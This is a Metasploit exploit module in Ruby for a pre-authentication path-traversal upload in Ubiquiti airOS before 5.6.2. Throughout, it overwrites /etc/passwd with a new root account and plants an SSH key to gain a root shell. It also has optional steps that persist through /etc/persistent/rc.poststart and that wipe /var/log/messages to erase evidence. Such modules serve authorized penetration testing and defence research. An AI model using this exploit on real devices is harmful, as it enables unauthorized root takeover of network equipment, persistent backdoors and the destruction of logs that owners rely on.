##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote

  # See note about overwritten files
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  include Msf::Module::Deprecated

  moved_from 'exploit/linux/ssh/ubiquiti_airos_file_upload'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ubiquiti airOS Arbitrary File Upload',
        'Description' => %q{
          This module exploits a pre-auth file upload to install a new root user
          to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.

          FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
          /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.

          This method is used by the "mf" malware infecting these devices.
        },
        'Author' => [
          '93c08539', # Vulnerability discovery
          'wvu'       # Metasploit module
        ],
        'References' => [
          %w[EDB 39701],
          %w[URL https://hackerone.com/reports/73480]
        ],
        'DisclosureDate' => '2016-02-13',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Targets' => [
          ['Ubiquiti airOS < 5.6.2', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptPort.new('SSH_PORT', [true, 'SSH port', 22])
    ])

    register_advanced_options([
      OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
      OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]),
      OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
      OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
    ])
  end

  def exploit
    print_status('Uploading /etc/passwd')
    upload_etc_passwd
    print_status('Uploading /etc/dropbear/authorized_keys')
    upload_authorized_keys
    print_status("Logging in as #{username}")
    vprint_status("Password: #{password}")
    vprint_status("Private key:\n#{private_key}")
    if (ssh = ssh_login)
      print_good("Logged in as #{username}")
      handler(ssh.lsock)
    end
  end

  def on_new_session(session)
    super
    if datastore['PERSIST_ETC']
      print_status('Persisting in /etc/persistent')
      persist_etc(session)
    end
    if datastore['WIPE_LOGS']
      print_status('Wiping /var/log/messages')
      wipe_logs(session)
    end
  end

  def upload_etc_passwd
    mime = Rex::MIME::Message.new
    mime.add_part(etc_passwd, 'text/plain', 'binary',
                  'form-data; name="passwd"; filename="../../etc/passwd"')

    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.cgi',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
  end

  def upload_authorized_keys
    mime = Rex::MIME::Message.new
    mime.add_part(authorized_keys, 'text/plain', 'binary',
                  'form-data; name="authorized_keys"; ' \
                  'filename="../../etc/dropbear/authorized_keys"')

    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.cgi',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
  end

  def ssh_login
    ssh_opts = ssh_client_defaults.merge({
      port: datastore['SSH_PORT'],
      auth_methods: %w[publickey password],
      key_data: [private_key]
    })

    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, username, ssh_opts)
      end
    rescue Net::SSH::Exception => e
      vprint_error("#{e.class}: #{e.message}")
      return nil
    end

    if ssh
      report_vuln(
        host: rhost,
        name: name,
        refs: references,
        info: ssh.transport.server_version.version
      )
      store_valid_credential(
        user: username,
        private: private_key,
        private_type: :ssh_key
      )
      return Net::SSH::CommandStream.new(ssh)
    end

    nil
  end

  # This is for store_valid_credential above
  def service_details
    super.merge(
      port: datastore['SSH_PORT'],
      service_name: 'ssh'
    )
  end

  #
  # Persistence and cleanup methods
  #

  def persist_etc(session)
    mime = Rex::MIME::Message.new
    mime.add_part(rc_poststart, 'text/plain', 'binary',
                  'form-data; name="rc.poststart"; ' \
                  'filename="../../etc/persistent/rc.poststart"')

    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.cgi',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )

    # http://www.hwmn.org/w/Ubiquity_HOWTO
    commands = [
      "mkdir #{username}",
      "cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
      'cfgmtd -wp /etc'
    ]

    commands.each do |command|
      session.shell_command_token(command)
    end
  end

  def wipe_logs(session)
    session.shell_command_token('> /var/log/messages')
  end

  #
  # /etc/passwd methods
  #

  def etc_passwd
    "#{username}:#{crypt(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
  end

  def crypt(password)
    # http://man7.org/linux/man-pages/man3/crypt.3.html
    salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
    password.crypt(salt)
  end

  def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
  end

  def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
  end

  #
  # /etc/dropbear/authorized_keys methods
  #

  def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey}\n"
  end

  def private_key
    ssh_keygen.to_pem
  end

  def ssh_keygen
    @ssh_keygen ||= OpenSSL::PKey::RSA.new(2048)
  end

  #
  # /etc/persistent/rc.poststart methods
  #

  def rc_poststart
    <<~EOF
      cp /etc/persistent/#{username}/passwd /etc/passwd
      cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
    EOF
  end
end
